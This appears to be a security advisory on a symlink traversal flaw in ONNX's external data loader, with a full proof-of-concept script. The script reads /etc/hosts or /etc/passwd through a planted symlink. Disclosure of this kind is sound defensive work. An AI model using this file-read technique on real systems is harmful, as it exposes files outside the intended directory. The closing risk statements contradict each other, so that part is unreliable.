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GHSA-p433-9wv8-28xj
No affected components available
Summary
- Issue: Symlink traversal in external data loading allows reading files outside the model directory.
- Affected code:
onnx/onnx/checker.cc: resolve_external_data_locationused via Pythononnx.external_data_helper.load_external_data_for_model. - Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory.
Root Cause
- The function
resolve_external_data_location(base_dir, location, tensor_name)intends to ensure that external data files reside withinbase_dir. It:- Rejects empty/absolute paths
- Normalizes the relative path and rejects
.. - Builds
data_path = base_dir / relative_path - Checks
exists(data_path)andis_regular_file(data_path)
- However,
std::filesystem::is_regular_file(path)follows symlinks to their targets. A symlink placed insidebase_dirthat points to a file outsidebase_dirwill pass the checks and be returned. The Python loader then opens the path and reads the target file.
Code Reference
- File: onnx/onnx/checker.cc:970-1060
- Key logic:
- Normalization:
auto relative_path = file_path.lexically_normal().make_preferred(); - Existence:
std::filesystem::exists(data_path) - Regular file check:
std::filesystem::is_regular_file(data_path) - Returned path is later opened in Python:
external_data_helper.load_external_data_for_tensor.
- Normalization:
Proof of Concept (PoC)
- File:
onnx_external_data_symlink_traversal_poc.py - Behavior: Creates a model with an external tensor pointing to
tensor.bin. In the model directory, createstensor.binas a symlink to/etc/hosts(or similar). Callsload_external_data_for_model(model, base_dir). Confirms thattensor.raw_datacontains content from the target outside the model directory. - Run:
python3 onnx_external_data_symlink_traversal_poc.py- Expected:
[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir
onnx_external_data_symlink_traversal_poc.py
#!/usr/bin/env python3
"""
ONNX External Data Symlink Traversal PoC
Finding: load_external_data_for_model() (via c_checker._resolve_external_data_location)
does not reject symlinks. A relative location that is a symlink inside the
model directory can target a file outside the directory and will be read.
Impact: Arbitrary file read outside model_dir when external data files are
obtained from attacker-controlled archives (zip/tar) that create symlinks.
This PoC:
- Creates a model with a tensor using external_data location 'tensor.bin'
- Creates 'tensor.bin' as a symlink to a system file (e.g., /etc/hosts)
- Calls load_external_data_for_model(model, base_dir)
- Confirms that tensor.raw_data contains the content of the outside file
Safe: only reads a benign system file if present.
"""
import os
import sys
import tempfile
import pathlib
# Ensure we import installed onnx, not the local cloned package
_here = os.path.dirname(os.path.abspath(__file__))
if _here in sys.path:
sys.path.remove(_here)
import onnx
from onnx import helper, TensorProto
from onnx.external_data_helper import (
set_external_data,
load_external_data_for_model,
)
def pick_target_file():
candidates = ["/etc/hosts", "/etc/passwd", "/System/Library/CoreServices/SystemVersion.plist"]
for p in candidates:
if os.path.exists(p) and os.path.isfile(p):
return p
raise RuntimeError("No suitable readable system file found for this PoC")
def build_model_with_external(location: str):
# A 1D tensor; data will be filled from external file
tensor = helper.make_tensor(
name="X_ext",
data_type=TensorProto.UINT8,
dims=[0], # dims will be inferred after raw_data is read
vals=[],
)
# add dummy raw_data then set_external_data to mark as external
tensor.raw_data = b"dummy"
set_external_data(tensor, location=location)
# Minimal graph that just feeds the initializer as Constant
const_node = helper.make_node("Constant", inputs=[], outputs=["out"], value=tensor)
graph = helper.make_graph([const_node], "g", inputs=[], outputs=[helper.make_tensor_value_info("out", TensorProto.UINT8, None)])
model = helper.make_model(graph)
return model
def main():
base = tempfile.mkdtemp(prefix="onnx_symlink_poc_")
model_dir = base
link_name = os.path.join(model_dir, "tensor.bin")
target = pick_target_file()
print(f"[*] Using target file: {target}")
# Create symlink in model_dir pointing outside
try:
pathlib.Path(link_name).symlink_to(target)
except OSError as e:
print(f"[!] Failed to create symlink: {e}")
print(" This PoC needs symlink capability.")
return 1
# Build model referencing the relative location 'tensor.bin'
model = build_model_with_external(location="tensor.bin")
# Use in-memory model; explicitly load external data from base_dir
loaded = model
print("[*] Loading external data into in-memory model...")
try:
load_external_data_for_model(loaded, base_dir=model_dir)
except Exception as e:
print(f"[!] load_external_data_for_model raised: {e}")
return 1
# Validate that raw_data came from outside file by checking a prefix
raw = None
# Search initializers
for t in loaded.graph.initializer:
if t.name == "X_ext" and t.HasField("raw_data"):
raw = t.raw_data
break
# Search constant attributes if not found
if raw is None:
for node in loaded.graph.node:
for attr in node.attribute:
if attr.HasField("t") and attr.t.name == "X_ext" and attr.t.HasField("raw_data"):
raw = attr.t.raw_data
break
if raw is not None:
break
if raw is None:
print("[?] Did not find raw_data on tensor; PoC inconclusive")
return 2
with open(target, "rb") as f:
target_prefix = f.read(32)
if raw.startswith(target_prefix):
print("[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir")
print(f" Symlink {link_name} -> {target}")
return 0
else:
print("[?] Raw data did not match target prefix; environment-specific behavior")
return 3
if __name__ == "__main__":
sys.exit(main())
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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